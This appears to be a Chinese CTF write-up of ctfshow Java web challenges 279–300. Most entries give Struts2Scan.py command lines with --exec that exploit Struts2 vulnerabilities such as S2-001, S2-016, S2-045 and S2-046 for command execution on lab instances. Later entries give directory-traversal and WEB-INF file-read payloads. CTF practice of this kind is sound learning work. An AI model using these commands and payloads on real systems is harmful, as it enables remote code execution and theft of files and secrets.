ctfshow web入门 Java

在这里插入图片描述好东西专打
全部题都是struts2框架漏洞
使用方法在md里面下载地址

web279

S2-001漏洞
先访问S2-001页面,然后用工具
在这里插入图片描述查看源代码发现链接

python Struts2Scan.py -u https://a60a1ecb-8dd1-48f7-86bc-dfe151d70225.challenge.ctf.show/S2-001/login.action

在这里插入图片描述

python Struts2Scan.py -u https://a60a1ecb-8dd1-48f7-86bc-dfe151d70225.challenge.ctf.show/S2-001/login.action -n S2-001 --exec

然后执行env命令

env 命令是一个用于显示系统环境变量的实用程序。它允许你查看当前 shell
的环境变量设置,或者在运行命令时临时修改环境变量。通常,它用于查看或更改与进程相关的环境变量,例如 PATH,HOME 等。
在这里插入图片描述

web280

一样的做法查看源代码发现
在这里插入图片描述在这里插入图片描述扫描以后发现S2-015

python Struts2Scan.py -u https://d212099d-35c3-4d24-8cbe-620eedddb33c.challenge.ctf.show/S2-005/example/HelloWorld.action -n S2-016 --exec

有两个漏洞但是最后只有S2-016才能命令执行

web281

python Struts2Scan.py -u https://9f922905-e0a8-41bb-9ac3-0d93ced12812.challenge.ctf.show/S2-007/user.action -n S2-016 --exec

web282

在这里插入图片描述在这里插入图片描述

姿势1:
python Struts2Scan.py -u https://74dce53a-d465-4735-b9c5-63ee3ebfe046.challenge.ctf.show/S2-008/cookie.action -n S2-016 --exec
姿势2:
下面这两个都行
python Struts2Scan.py -u https://74dce53a-d465-4735-b9c5-63ee3ebfe046.challenge.ctf.show/S2-008/devmode.action -n S2-016 --exec
python Struts2Scan.py -u https://74dce53a-d465-4735-b9c5-63ee3ebfe046.challenge.ctf.show/S2-008/devmode.action -n S2-devMode --exec

web283

在这里插入图片描述

python Struts2Scan.py -u https://eb329dd7-bb13-4437-8b37-af1a1f1f5380.challenge.ctf.show/S2-009/showcase.action -n S2-008 --exec

web284

python Struts2Scan.py -u https://40b3d021-4604-483b-bc99-656ce7e2c8c7.challenge.ctf.show/S2-012/user.action -n S2-016 --exec

web285

在这里插入图片描述

python Struts2Scan.py -u https://3a33e97d-4230-45a1-922f-95123743a2b8.challenge.ctf.show/S2-013/link.action -n S2-001 --exec

python Struts2Scan.py -u https://3a33e97d-4230-45a1-922f-95123743a2b8.challenge.ctf.show/S2-013/link.action -n S2-013 --exec

python Struts2Scan.py -u https://3a33e97d-4230-45a1-922f-95123743a2b8.challenge.ctf.show/S2-013/link.action -n S2-016 --exec

web286

python Struts2Scan.py -u https://09f723c9-d0cb-4ea1-9654-81d93e1a5405.challenge.ctf.show/S2-015/welcome.action -n S2-016 --exec

python Struts2Scan.py -u https://09f723c9-d0cb-4ea1-9654-81d93e1a5405.challenge.ctf.show/S2-015/welcome.action -n S2-045 --exec

有很多姿势,我试了一下基本都是上面这两个漏洞

web287

python Struts2Scan.py -u https://640840ba-1b73-466c-9f7d-8eeb50bae55f.challenge.ctf.show/S2-016/default.action -n S2-045 --exec

python Struts2Scan.py -u https://640840ba-1b73-466c-9f7d-8eeb50bae55f.challenge.ctf.show/S2-016/default.action -n S2-016 --exec

web288

python Struts2Scan.py -u https://e5127f3e-e1e6-4091-811a-f6811de222c2.challenge.ctf.show/S2-019/example/HelloWorld.action?request_locale=en -n S2-045 --exec

web289

python Struts2Scan.py -u https://b7de196d-532d-4e88-a3ce-d032c820eb09.challenge.ctf.show/S2-029/ -n S2-045 --exec

web290

python Struts2Scan.py -u https://31c024bb-0b84-449c-8c5f-6f761c8f2f33.challenge.ctf.show/S2-032/ -n S2-045 --exec

web291

python Struts2Scan.py -u https://1636cbbe-1126-46ea-a1f0-2bd4d0ac19a8.challenge.ctf.show/S2-033/orders -n S2-045 --exec

web292

python Struts2Scan.py -u https://24ec62e6-b7d5-4821-9bc2-e1bc603c6999.challenge.ctf.show/S2-037/orders -n S2-045 --exec

web293

python Struts2Scan.py -u https://f4a969e5-1e8b-4fda-bffd-c241e4176608.challenge.ctf.show/S2-045/orders -n S2-045 --exec

web294

在这里插入图片描述在这里插入图片描述
这里又学到了,他说不存在不代表不能进行命令执行,前面有一道是S2-062的我估计就是被骗了,应该是直接env就能有的

python Struts2Scan.py -u https://7c19c756-c0de-4fde-a57e-3aef648217d8.challenge.ctf.show/S2-046/doUpload.action -n S2-046 --exec

web295

这个用工具暂时打不通先欠着

web296

python Struts2Scan.py -u https://d3bc5c63-3e6e-4fdd-84ae-d89b8a442bea.challenge.ctf.show/S2-052/orders -n S2-045 --exec

web297

python Struts2Scan.py -u https://2e8af7c0-216b-4f43-a382-6023972a2442.challenge.ctf.show/S2-053/?name=VulApps+ -n S2-045 --exec

web298

下载一个软件进行反编译
最前比较好的
然后根据自己有没有jre来选链接
在这里插入图片描述

在这里插入图片描述

要使得user里面的getVipStatus为真就可以得到flag

在这里插入图片描述
但是不知道在于是扫后台
在这里插入图片描述然后直接传没有反应进入login页面

url/ctfshow/login?username=admin&password=ctfshow

web299

在这里插入图片描述
查看源代码发现这个任意文件读取漏洞
最后就是这样

/view-source?file=../../../../../fl3g

web300

?file=WEB-INF/web.xml

在这里插入图片描述
发现这个比较有可能是com.ctfshow.servlet.PhpServlet

?file=WEB-INF/classes/com/ctfshow/servlet/PhpServlet.class

欧克没找到flag重新回去看
com.ctfshow.servlet.GetFlag
还有这个

?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class

然后解释一下这两道题

WEB-INF 目录中包含了以下两个重要的子目录:

WEB-INF/classes:用于存放编译后的类文件(.class 文件),这些类文件包含了 Servlet、Filter、Listener 等组件的实现代码。Servlet 容器会在启动时将这些类加载到内存中,并根据配置来处理客户端请求。

WEB-INF/lib:用于存放应用程序所需的依赖库(JAR 文件)。这些 JAR 文件中包含了你的应用程序所依赖的第三方库或者框架。Servlet 容器会在启动时将这些依赖库中的类加载到类路径中,以供应用程序使用。

除了这两个子目录外,WEB-INF 目录中通常还包含一个 web.xml 文件,用于配置 Web 应用程序的部署描述符(Deployment Descriptor)。web.xml 文件中包含了 Servlet、Filter、Listener 等组件的配置信息,以及一些应用程序级别的参数设置。

那么我们的思路就是在WEB-INF/web.xml去找类然后再去找flag
所以这就是?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class为什么这么写的原因
然后我们找到了flag
为什么是五次返回上级目录才会出现flag呢这个数都数的出来flag是在五级目录下的,回到网页要五次,再不济多加几个返回上级目录../也无伤大雅

用脚本打的别忘了看原理浮现漏洞各位师傅(我现在去看了)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值